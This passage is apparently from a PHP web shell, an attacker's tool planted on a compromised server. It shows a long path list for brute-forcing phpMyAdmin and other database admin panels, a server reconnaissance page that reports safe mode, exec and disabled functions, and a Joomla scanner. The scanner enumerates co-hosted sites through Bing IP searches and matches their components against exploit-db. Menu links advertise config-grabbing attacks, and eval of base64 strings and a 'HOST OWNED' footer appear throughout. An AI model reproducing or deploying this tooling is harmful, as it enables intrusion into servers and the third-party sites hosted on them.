2660 | '/phpMyAdmin-2.5.6/', | |
2661 | '/phpMyAdmin-2.5.7/', | |
2662 | '/phpMyAdmin-2.5.7-pl1/', | |
2663 | '/phpMyAdmin-2.6.0-alpha/', | |
2664 | '/phpMyAdmin-2.6.0-alpha2/', | |
2665 | '/phpMyAdmin-2.6.0-beta1/', | |
2666 | '/phpMyAdmin-2.6.0-beta2/', | |
2667 | '/phpMyAdmin-2.6.0-rc1/', | |
2668 | '/phpMyAdmin-2.6.0-rc2/', | |
2669 | '/phpMyAdmin-2.6.0-rc3/', | |
2670 | '/phpMyAdmin-2.6.0/', | |
2671 | '/phpMyAdmin-2.6.0-pl1/', | |
2672 | '/phpMyAdmin-2.6.0-pl2/', | |
2673 | '/phpMyAdmin-2.6.0-pl3/', | |
2674 | '/phpMyAdmin-2.6.1-rc1/', | |
2675 | '/phpMyAdmin-2.6.1-rc2/', | |
2676 | '/phpMyAdmin-2.6.1/', | |
2677 | '/phpMyAdmin-2.6.1-pl1/', | |
2678 | '/phpMyAdmin-2.6.1-pl2/', | |
2679 | '/phpMyAdmin-2.6.1-pl3/', | |
2680 | '/phpMyAdmin-2.6.2-rc1/', | |
2681 | '/phpMyAdmin-2.6.2-beta1/', | |
2682 | '/phpMyAdmin-2.6.2-rc1/', | |
2683 | '/phpMyAdmin-2.6.2/', | |
2684 | '/phpMyAdmin-2.6.2-pl1/', | |
2685 | '/phpMyAdmin-2.6.3/', | |
2686 | '/phpMyAdmin-2.6.3-rc1/', | |
2687 | '/phpMyAdmin-2.6.3/', | |
2688 | '/phpMyAdmin-2.6.3-pl1/', | |
2689 | '/phpMyAdmin-2.6.4-rc1/', | |
2690 | '/phpMyAdmin-2.6.4-pl1/', | |
2691 | '/phpMyAdmin-2.6.4-pl2/', | |
2692 | '/phpMyAdmin-2.6.4-pl3/', | |
2693 | '/phpMyAdmin-2.6.4-pl4/', | |
2694 | '/phpMyAdmin-2.6.4/', | |
2695 | '/phpMyAdmin-2.7.0-beta1/', | |
2696 | '/phpMyAdmin-2.7.0-rc1/', | |
2697 | '/phpMyAdmin-2.7.0-pl1/', | |
2698 | '/phpMyAdmin-2.7.0-pl2/', | |
2699 | '/phpMyAdmin-2.7.0/', | |
2700 | '/phpMyAdmin-2.8.0-beta1/', | |
2701 | '/phpMyAdmin-2.8.0-rc1/', | |
2702 | '/phpMyAdmin-2.8.0-rc2/', | |
2703 | '/phpMyAdmin-2.8.0/', | |
2704 | '/phpMyAdmin-2.8.0.1/', | |
2705 | '/phpMyAdmin-2.8.0.2/', | |
2706 | '/phpMyAdmin-2.8.0.3/', | |
2707 | '/phpMyAdmin-2.8.0.4/', | |
2708 | '/phpMyAdmin-2.8.1-rc1/', | |
2709 | '/phpMyAdmin-2.8.1/', | |
2710 | '/phpMyAdmin-2.8.2/', | |
2711 | '/sqlmanager/', | |
2712 | '/mysqlmanager/', | |
2713 | '/p/m/a/', | |
2714 | '/PMA2005/', | |
2715 | '/pma2005/', | |
2716 | '/dev/', | |
2717 | '/phpmanager/', | |
2718 | '/php-myadmin/', | |
2719 | '/phpmy-admin/', | |
2720 | '/webadmin/', | |
2721 | '/sqlweb/', | |
2722 | '/websql/', | |
2723 | '/webdb/', | |
2724 | '/mysqladmin/', | |
2725 | '/mysql-admin/', | |
2726 | '/mya/', | |
2727 | '/myadmin/', | |
2728 | '/mysql/', | |
2729 | '/sql/', | |
2730 | '/server/', | |
2731 | '/db/', | |
2732 | '/database/', | |
2733 | '/databases/', | |
2734 | '/adm/', | |
2735 | '/configuration/', | |
2736 | '/configure/', | |
2737 | '/administrator/', | |
2738 | '/login/', | |
2739 | '/moderator/', | |
2740 | '/controlpanel/', | |
2741 | '/adminpanel/', | |
2742 | '/admincontrol/', | |
2743 | '/fileadmin/', | |
2744 | '/data/', | |
2745 | '/postgresql/', | |
2746 | '/oracle/', | |
2747 | '/msssql/', | |
2748 | '/msaccess/', | |
2749 | '/sysadmin/', | |
2750 | '/serverdata/', | |
2751 | '/webadmin/', | |
2752 | '/admins/', | |
2753 | '/Database_Administration/', | |
2754 | '/WebAdmin/', | |
2755 | '/useradmin/', | |
2756 | '/sysadmins/', | |
2757 | '/admin1/', | |
2758 | '/system-administration/', | |
2759 | '/administrators/', | |
2760 | '/pgadmin/', | |
2761 | '/DIRectadmin/', | |
2762 | '/staradmin/', | |
2763 | '/ServerAdministrator/', | |
2764 | '/SysAdmin/', | |
2765 | '/administer/', | |
2766 | '/LiveUser_Admin/', | |
2767 | '/sys-admin/', | |
2768 | '/typo3/', | |
2769 | '/panel/', | |
2770 | '/xlogin/', | |
2771 | '/smblogin/', | |
2772 | '/phpldapadmin/', | |
2773 | '/server_admin/', | |
2774 | '/database_administration/', | |
2775 | '/system_administration/', | |
2776 | '/ss_vms_admin_sm/', | |
2777 | '/adminarea/', | |
2778 | '/MySQL/', | |
2779 | '/mysql_admin/', | |
2780 | '/server_data/', | |
2781 | '/DB/', | |
2782 | '/DB1/', | |
2783 | '/DB2/', | |
2784 | '/DB3/', | |
2785 | '/DB4/', | |
2786 | '/DB5/', | |
2787 | '/DB6/', | |
2788 | '/DB7/', | |
2789 | '/DB8/', | |
2790 | '/DB9/', | |
2791 | '/DB0/', | |
2792 | '/db1/', | |
2793 | '/db2/', | |
2794 | '/db3/', | |
2795 | '/db4/', | |
2796 | '/db5/', | |
2797 | '/db6/', | |
2798 | '/db7/', | |
2799 | '/db8/', | |
2800 | '/db9/', | |
2801 | '/db0/', | |
2802 | '/mysql5/', | |
2803 | '/mysql4/', | |
2804 | '/root/', | |
2805 | '/apache/', | |
2806 | '/php/', | |
2807 | '/Apache/', | |
2808 | '/Php/', | |
2809 | '/apach/', | |
2810 | '/apachepanel/', | |
2811 | '/WEBSERVERS/', | |
2812 | '/DATABASE1/', | |
2813 | '/DATABASE2/', | |
2814 | '/DATABASE3/', | |
2815 | '/DATABASE4/', | |
2816 | '/DATABASE5/', | |
2817 | '/DATABASE6/', | |
2818 | '/DATABASE7/', | |
2819 | '/DATABASE8/', | |
2820 | '/DATABASE9/', | |
2821 | '/WEBDATA/', | |
2822 | '/WEB_DATA/', | |
2823 | '/webservers/', | |
2824 | '/database1/', | |
2825 | '/database2/', | |
2826 | '/database3/', | |
2827 | '/database4/', | |
2828 | '/database5/', | |
2829 | '/database6/', | |
2830 | '/database7/', | |
2831 | '/database8/', | |
2832 | '/database9/', | |
2833 | '/webdata/', | |
2834 | '/web_data/', | |
2835 | ); | |
2836 | if(isset($site)){ | |
2837 | foreach($list as $path => $test) { | |
2838 | $ch = curl_init(); | |
2839 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
2840 | curl_setopt($ch, CURLOPT_HEADER, 1); | |
2841 | curl_setopt($ch, CURLOPT_URL, $site.$test); | |
2842 | $result = curl_exec($ch); | |
2843 | curl_close($ch); | |
2844 | //print $url; | |
2845 | if (preg_match("/200 OK/", $result)){ | |
2846 | echo "<br><span style='color:#0000F0'>[+]</span><span style='color:white'> FOUND : </span><span><a>[ <a target=_white style='color:#0000F0'>$site$test </span>]</a></span>"; | |
2847 | } | |
2848 | else if (preg_match("/401 Unauthorized/", $result)) { | |
2849 | echo "<br><span style='color:#0000F0'>[+]</span><span style='color:white'> FOUND : </span><span><a>[ <a target=_white style='color:#0000F0'>$site$test </span>]</a></span>"; | |
2850 | } | |
2851 | } | |
2852 | echo "<center><br><span style='font-size:10px; color:#0000F0'><b>SCAN FINISHED</b></center><br>";} | |
2853 | echo "<br>";$FOTTER2 = "<footer class='MK-footer'>"; | |
2854 | echo ''. $FOTTER2 .'' ; | |
2855 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
2856 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
2857 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2858 | $SERVERIP1 = "SERVER IP :"; | |
2859 | echo ''. $SERVERIP1 .'' ; | |
2860 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
2861 | $SPAN3 = "</span>"; | |
2862 | echo ''. $SPAN2 .'' ; | |
2863 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
2864 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2865 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
2866 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
2867 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
2868 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
2869 | $HOSTOWNED1 = "HOST OWNED :"; | |
2870 | echo ''. $HOSTOWNED1 .'' ; | |
2871 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
2872 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
2873 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
2874 | echo ''. $THEEND .'' ; | |
2875 | exit;} | |
2876 | //////////// INFOSERV | |
2877 | if ($_GET['Mister'] == 'infoserv'){ | |
2878 | echo "<br><nav class='Mister-nav'><center><span style='font-size:18px; color:#0000F0'>SAFE MODES</span></nav><div class=content>"; | |
2879 | ////////////// SAFE MODES | |
2880 | if(ini_get('safe_mode') == '1'){ | |
2881 | echo '<span style="color:#FFFFFF;">✓ SAFE MODE : </span><span style=" color:#0000F0"> ON</span><br>'; | |
2882 | }else{ | |
2883 | echo '<span style="color:#FFFFFF;">✓ SAFE MODE : </span><span style=" color:#f60000"> OFF</span><br>'; | |
2884 | } | |
2885 | if(ini_get('magic_quotes_gpc') == '1'){ | |
2886 | echo '<span style="color:#FFFFFF;">✓ MAGIC_QUOTES_GPC :</span><span style=" color:#0000F0"> ON</span><br>'; | |
2887 | }else{ | |
2888 | echo '<span style="color:#FFFFFF;">✓ MAGIC_QUOTES_GPC :</span><span style=" color:#f60000"> OFF</span><br>'; | |
2889 | } | |
2890 | if(function_exists('mysql_connect')){ | |
2891 | echo '<span style="color:#FFFFFF;">✓ MYSQL :</span><span style=" color:#0000F0"> ON</span><br>'; | |
2892 | }else{ | |
2893 | echo '<span style="color:#FFFFFF;">✓ MYSQL :</span><span style=" color:#f60000"> OFF</span><br>'; | |
2894 | } | |
2895 | if(function_exists('mssql_connect')){ | |
2896 | echo '<span style="color:#FFFFFF;">✓ MSSQL:<span style=" color:#0000F0"> ON</span><br>'; | |
2897 | }else{ | |
2898 | echo '<span style="color:#FFFFFF;">✓ MSSQL:<span style=" color:#f60000"> OFF</span><br>'; | |
2899 | } | |
2900 | if(function_exists('pg_connect')){ | |
2901 | echo '<span style="color:#FFFFFF;">✓ POSTGRESQL:<span style=" color:#0000F0"> ON</span><br>'; | |
2902 | }else{ | |
2903 | echo '<span style="color:#FFFFFF;">✓ POSTGRESQL:<span style=" color:#f60000"> OFF</span><br>'; | |
2904 | } | |
2905 | if(function_exists('ocilogon')){ | |
2906 | echo '<span style="color:#FFFFFF;">✓ ORACLE: </span><span style=" color:#0000F0"> ON</span><br>'; | |
2907 | }else{ | |
2908 | echo '<span style="color:#FFFFFF;">✓ ORACLE: </span><span style=" color:#f60000"> OFF</span><br>'; | |
2909 | } | |
2910 | if(function_exists('curl_version')){ | |
2911 | echo '<span style="color:#FFFFFF;">✓ CURL:<span style=" color:#0000F0"> ON</span><br>'; | |
2912 | } | |
2913 | else{ | |
2914 | echo '<span style="color:#FFFFFF;">✓ CURL:</span><span style=" color:#f60000"> OFF</span><br>'; | |
2915 | } | |
2916 | if(function_exists('exec')){ | |
2917 | echo '<span style="color:#FFFFFF;">✓ EXEC:<span style=" color:#0000F0"> ON</span><br>'; | |
2918 | } | |
2919 | else{ | |
2920 | echo '<span style="color:#FFFFFF;">✓ EXEC:<span style=" color:#f60000"> OFF</span><br>'; | |
2921 | } | |
2922 | if(!ini_get('open_baseDIR') != "on"){ | |
2923 | echo '<span style="color:#FFFFFF;">✓ OPEN_BASEDIR:<span style=" color:#f60000"> OFF</span><br>'; | |
2924 | } | |
2925 | else{ | |
2926 | echo '<span style="color:#FFFFFF;">✓ OPEN_BASEDIR:<span style=" color:#0000F0"> ON</span><br>'; | |
2927 | } | |
2928 | if(!ini_get('ini_restore') != "on"){ | |
2929 | echo '<span style="color:#FFFFFF;">✓ INI_RESTORE:<span style=" color:#f60000"> OFF</span><br>'; | |
2930 | } | |
2931 | else{ | |
2932 | echo '<span style="color:#FFFFFF;">✓ INI_RESTORE:<span style=" color:#0000F0"> ON</span><br>'; | |
2933 | } | |
2934 | if(function_exists('symlink')){ | |
2935 | echo '<span style="color:#FFFFFF;">✓ SYMLINK:<span style=" color:#0000F0"> ON</span><br>'; | |
2936 | } | |
2937 | else{ | |
2938 | echo '<span style="color:#FFFFFF;">✓ SYMLINK:<span style=" color:#f60000"> OFF</span><br>'; | |
2939 | } | |
2940 | if(function_exists('file_get_contents')){ | |
2941 | echo ' <span style="color:#FFFFFF;">✓ FILE_GET_CONTENTS:<span style=" color:#0000F0"> ON</span><br>'; | |
2942 | } | |
2943 | else{ | |
2944 | echo ' <span style="color:#FFFFFF;">✓ FILE_GET_CONTENTS:<span style=" color:#f60000"> OFF</span><br>'; | |
2945 | } | |
2946 | if(IS_DIR('sim/rut')){ | |
2947 | echo '<span style="color:#FFFFFF;">✓ PERMISSION:<span style=" color:#0000F0"> ON</span><br>'; | |
2948 | } | |
2949 | else{ | |
2950 | echo '<span style="color:#FFFFFF;">✓ PERMISSION:<span style=" color:red"> OFF</span><br>'; | |
2951 | } | |
2952 | //////////// INFORMATIONS | |
2953 | ///// DISABLE FUNCTIONS | |
2954 | echo "<span style='color:#FFFFFF;'>✓ DISABLE FUNCTIONS : </span>"; | |
2955 | if(''==($df=@ini_get('disable_functions'))){echo "<font color=#0000F0>NON</font> <br> ";}else{echo "<font color=red>$df</font><br>";} | |
2956 | define('SA_ROOT', str_replace('\\', '/', DIRname(__FILE__)).'/'); | |
2957 | //////// | |
2958 | function getcfg($varname) { | |
2959 | $result = get_cfg_var($varname); | |
2960 | if ($result == 0) {return 'NO'; | |
2961 | } elseif ($result == 1) {return 'YES'; | |
2962 | } else {return $result;}} | |
2963 | //// | |
2964 | function p($str){ | |
2965 | echo $str."\n";} | |
2966 | function formhead($arg = array()) { | |
2967 | if ($arg['title']) { | |
2968 | p('<h2>'.$arg['title'].' »</h2>');}} | |
2969 | ////// | |
2970 | $upsize=getcfg('file_uploads') ? getcfg('upload_max_FILESIZE') : 'Not allowed'; | |
2971 | !$dis_func && $dis_func = 'NO'; | |
2972 | ///// SERVER | |
2973 | $info = array( | |
2974 | 1 => array(' ✓ <span style="color:#FFFFFF;">SERVER TIME </span><span style="color:red;"> ',date('Y/m/d h:i:s',$timestamp)), | |
2975 | ||
2976 | 2 => array('✓ <span style="color:#FFFFFF;">SERVER OS </span><span style="color:red;"> ',PHP_OS), | |
2977 | 3 => array('✓ <span style="color:#FFFFFF;">SERVER OS CHARSET </span><span style="color:red;"> ',$_SERVER['HTTP_ACCEPT_LANGUAGE']), | |
2978 | 4 => array('✓ <span style="color:#FFFFFF;">PHP RUN MODE </span><span style="color:red;"> ',strtoupper(php_sapi_name())), | |
2979 | ///// PHP | |
2980 | 5 => array('✓ <span style="color:#FFFFFF;">PHP VERSION </span><span style="color:red;"> ',PHP_VERSION), | |
2981 | 6 => array('✓ <span style="color:#FFFFFF;">ADMINISTRATOR </span><span style="color:red;"> ',$adminmail), | |
2982 | 7 => array('✓ <span style="color:#FFFFFF;">ALLOW_URL_FOPEN </span><span style="color:red;"> ',getcfg('allow_url_fopen')), | |
2983 | 8 => array('✓ <span style="color:#FFFFFF;">ENABLE_DL </span> <span style="color:red;"> ',getcfg('enable_dl')), | |
2984 | 9 => array('✓ <span style="color:#FFFFFF;">DISPLAY_ERRORS </span> <span style="color:red;"> ',getcfg('display_errors')), | |
2985 | 10 => array('✓ <span style="color:#FFFFFF;">REGISTER_GLOBALS </span><span style="color:red;"> ',getcfg('register_globals')), | |
2986 | 11 => array('✓ <span style="color:#FFFFFF;">MAGIC_QUOTES_GPC </span><span style="color:red;"> ',getcfg('magic_quotes_gpc')), | |
2987 | 12 => array('✓ <span style="color:#FFFFFF;">MEMORY_LIMIT </span><span style="color:red;"> ',getcfg('memory_limit')), | |
2988 | 13 => array('✓ <span style="color:#FFFFFF;">POST_MAX_SIZE </span><span style="color:red;"> ',getcfg('post_max_size')), | |
2989 | 14 => array('✓ <span style="color:#FFFFFF;">UPLOAD_MAX_FILESIZE </span><span style="color:red;"> ',$upsize),); | |
2990 | if($phpvarname) { | |
2991 | m($phpvarname .' : '.getcfg($phpvarname));} | |
2992 | ///// SERVER | |
2993 | $hp = array(0=> '<span style="color:#FFFFFF;font-size:16px;">INFO SERVER</span>', 1=> '<span style="color:#FFFFFF;font-size:16px;">INFO PHP</span>'); | |
2994 | for($a=0;$a<2;$a++) { | |
2995 | p('<h2><nav class="Mister-nav">'.$hp[$a].' »</h2>'); | |
2996 | p('<ul class="info">'); | |
2997 | if ($a==0) { | |
2998 | for($i=1;$i<=9;$i++) { | |
2999 | p('<li>'.$info[$i][0].':'.$info[$i][1].'</li>');} | |
3000 | } elseif | |
3001 | ($a == 1) {for($i=10;$i<=23;$i++) { | |
3002 | p('<li>'.$info[$i][0].':</u>'.$info[$i][1].'</li></nav>');}} | |
3003 | p('</ul>');} | |
3004 | $FOTTER2 = "<footer class='MK-footer'>"; | |
3005 | echo ''. $FOTTER2 .'' ; | |
3006 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
3007 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
3008 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3009 | $SERVERIP1 = "SERVER IP :"; | |
3010 | echo ''. $SERVERIP1 .'' ; | |
3011 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
3012 | $SPAN3 = "</span>"; | |
3013 | echo ''. $SPAN2 .'' ; | |
3014 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
3015 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3016 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
3017 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
3018 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
3019 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3020 | $HOSTOWNED1 = "HOST OWNED :"; | |
3021 | echo ''. $HOSTOWNED1 .'' ; | |
3022 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
3023 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
3024 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
3025 | echo ''. $THEEND .'' ; | |
3026 | exit;} | |
3027 | if ($_GET["Mister"] == "J-Scann3r"){ | |
3028 | echo "<br><center><nav class='social'><ul> | |
3029 | <li><a href='?Mister=FinderAdmin'>Finder Administer Panel V1.0</a></li> | |
3030 | <li><a href='?Mister=Domains'>Get All Domains</a></li> | |
3031 | <li><a href='?Mister=Finder'>Finder Database Panel</a></li> | |
3032 | <li><a href='?Mister=Getip'>Get Ip 2 Domains </a></li> | |
3033 | <li><a href='?Mister=subdomain'>Subdomain Checker</a></li> | |
3034 | <li><a href='?Mister=iplookdom'>Ip Lookup Reverse</a></li> | |
3035 | <li><a href='?Mister=Rev'>Mass Read Config </a></li> | |
3036 | <li><a href='?Mister=Grabber'>Grabber Config Attack</a></li> | |
3037 | <li><a href='?Mister=J-Scann3r'>Joomla Serv3r Scann3r</a></li> | |
3038 | <li><a href='?Mister=whois'>Website Whois</a></li> | |
3039 | </ul></nav></center>"; | |
3040 | echo '<nav class="Mister-nav"><center><span style="font-size:18px;color:#0000F0">JOOMLA SERV3R SCANN3R V2</span></nav><center><br><div class=content> | |
3041 | <form method="POST">'; | |
3042 | ?> | |
3043 | <input type="text" name="site" value="<?php echo "".$_SERVER['HTTP_HOST']."";?>" style="width:50%;"><input type="submit" value="SCANN3" class="Mister-button"></p></form> | |
3044 | <?php | |
3045 | function check_exploit($Auto_Shearch){ | |
3046 | $link ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$Auto_Shearch&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve="; | |
3047 | ||
3048 | $result = @file_get_contents($link); | |
3049 | ||
3050 | if (eregi("NO RESULTS",$result)) { | |
3051 | ||
3052 | echo"<td style='width:50%;'>NOT FOUND</td><td><a href='http://www.google.ma/#hl=en&q=download+$Auto_Shearch+joomla+extension'>DOWNLOAD</a></td></tr>"; | |
3053 | ||
3054 | }else{ | |
3055 | ||
3056 | echo"<td style='width:50%;'><a href='$link'>FOUND</a></td><td><=</td></tr>"; | |
3057 | ||
3058 | } | |
3059 | } | |
3060 | ||
3061 | function check_com($url){ | |
3062 | ||
3063 | $source = @file_get_contents($url); | |
3064 | ||
3065 | preg_match_all('{option,(.*?)/}i',$source,$f); | |
3066 | preg_match_all('{option=(.*?)(&|&|")}i',$source,$f2); | |
3067 | preg_match_all('{/components/(.*?)/}i',$source,$f3); | |
3068 | ||
3069 | $arz=array_merge($f2[1],$f[1],$f3[1]); | |
3070 | ||
3071 | $coms=array(); | |
3072 | ||
3073 | foreach(array_unique($arz) as $x){ | |
3074 | $coms[]=$x; | |
3075 | } | |
3076 | ||
3077 | foreach($coms as $comm){ | |
3078 | ||
3079 | echo "<tr><td>$comm</td>"; | |
3080 | check_exploit($comm); | |
3081 | } | |
3082 | ||
3083 | } | |
3084 | ||
3085 | function sec($site){ | |
3086 | preg_match_all('{http://(.*?)(/index.php)}siU',$site, $sites); | |
3087 | if(eregi("www",$sites[0][0])){ | |
3088 | return $site=str_replace("index.php","",$sites[0][0]); | |
3089 | }else{ | |
3090 | return $site=str_replace("http://","http://www.",str_replace("index.php","",$sites[0][0])); | |
3091 | }} | |
3092 | ||
3093 | $npages = 50000; | |
3094 | ||
3095 | if ($_POST) | |
3096 | { | |
3097 | $ip = trim(strip_tags($_POST['site'])); | |
3098 | $npage = 1; | |
3099 | $allLinks = array(); | |
3100 | ||
3101 | ||
3102 | while($npage <= $npages) | |
3103 | { | |
3104 | ||
3105 | $x=@file_get_contents('http://www.bing.com/search?q=ip%3A' . $ip . '+index.php?option=com&first=' . $npage); | |
3106 | ||
3107 | ||
3108 | if ($x) | |
3109 | { | |
3110 | preg_match_all('(<div>.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>)siU', $x, $findlink); | |
3111 | ||
3112 | foreach ($findlink[1] as $fl) | |
3113 | ||
3114 | $allLinks[]=sec($fl); | |
3115 | ||
3116 | ||
3117 | $npage = $npage + 10; | |
3118 | ||
3119 | if (preg_match('(first=' . $npage . '&)siU', $x, $linksuiv) == 0) | |
3120 | break; | |
3121 | } | |
3122 | ||
3123 | else | |
3124 | break; | |
3125 | } | |
3126 | ||
3127 | ||
3128 | $allDmns = array(); | |
3129 | ||
3130 | foreach ($allLinks as $kk => $vv){ | |
3131 | ||
3132 | $allDmns[] = $vv; | |
3133 | } | |
3134 | ||
3135 | echo'<table border="0" style="width:50%;" > | |
3136 | <tr><td width=\"30%\"><b>SERVER IP : </b></td><td><b>'.$ip.'</b></td></tr> | |
3137 | <tr><td style="width:50%;"><b>SITES FOUND : </b></td><td><b>'.count(array_unique($allDmns)).'</b></td></tr> | |
3138 | </table>'; | |
3139 | echo "<br><br>"; | |
3140 | ||
3141 | echo'<table border="0" align=\"center\" style="width:50%;">'; | |
3142 | ||
3143 | foreach(array_unique($allDmns) as $h3h3){ | |
3144 | ||
3145 | echo'<tr><td><b><a href='.$h3h3.'>'.$h3h3.'</a></b></td><td><b>EXPLOIT-DB</b></td><td><b>CHALLENGE OF EXPLOITING ..!</b></td></tr>'; | |
3146 | ||
3147 | check_com($h3h3); | |
3148 | ||
3149 | } | |
3150 | ||
3151 | echo"</table>"; | |
3152 | echo "<br>";$FOTTER2 = "<footer class='MK-footer'>"; | |
3153 | echo ''. $FOTTER2 .'' ; | |
3154 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
3155 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
3156 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3157 | $SERVERIP1 = "SERVER IP :"; | |
3158 | echo ''. $SERVERIP1 .'' ; | |
3159 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
3160 | $SPAN3 = "</span>"; | |
3161 | echo ''. $SPAN2 .'' ; | |
3162 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
3163 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3164 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
3165 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
3166 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
3167 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3168 | $HOSTOWNED1 = "HOST OWNED :"; | |
3169 | echo ''. $HOSTOWNED1 .'' ; | |
3170 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
3171 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
3172 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
3173 | echo ''. $THEEND .'' ;} | |
3174 | exit;} | |
3175 | ////// FINDERADMIN | |
3176 | if ($_GET['Mister'] == 'FinderAdmin') { | |
3177 | $FOTTER2 = "<footer class='MK-footer'>"; | |
3178 | echo ''. $FOTTER2 .'' ; | |
3179 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
3180 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
3181 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3182 | $SERVERIP1 = "SERVER IP :"; | |
3183 | echo ''. $SERVERIP1 .'' ; | |
3184 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
3185 | $SPAN3 = "</span>"; | |
3186 | echo ''. $SPAN2 .'' ; | |
3187 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
3188 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3189 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
3190 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
3191 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
3192 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3193 | $HOSTOWNED1 = "HOST OWNED :"; | |
3194 | echo ''. $HOSTOWNED1 .'' ; | |
3195 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
3196 | ||
3197 | ||
3198 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
3199 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
3200 | echo ''. $THEEND .'' ; | |
3201 | ////// FOOTER | |
3202 | echo "<br><center><nav class='social'><ul> | |
3203 | <li><a href='?Mister=FinderAdmin'>Finder Administer Panel V1.0</a></li> | |
3204 | <li><a href='?Mister=Domains'>Get All Domains</a></li> | |
3205 | <li><a href='?Mister=Finder'>Finder Database Panel</a></li> | |
3206 | <li><a href='?Mister=Getip'>Get Ip 2 Domains </a></li> | |
3207 | <li><a href='?Mister=subdomain'>Subdomain Checker</a></li> | |
3208 | <li><a href='?Mister=iplookdom'>Ip Lookup Reverse</a></li> | |
3209 | <li><a href='?Mister=Rev'>Mass Read Config </a></li> | |
3210 | <li><a href='?Mister=Grabber'>Grabber Config Attack</a></li> | |
3211 | <li><a href='?Mister=J-Scann3r'>Joomla Serv3r Scann3r</a></li> | |
3212 | <li><a href='?Mister=whois'>Website Whois</a></li> | |
3213 | </ul></nav></center>"; | |
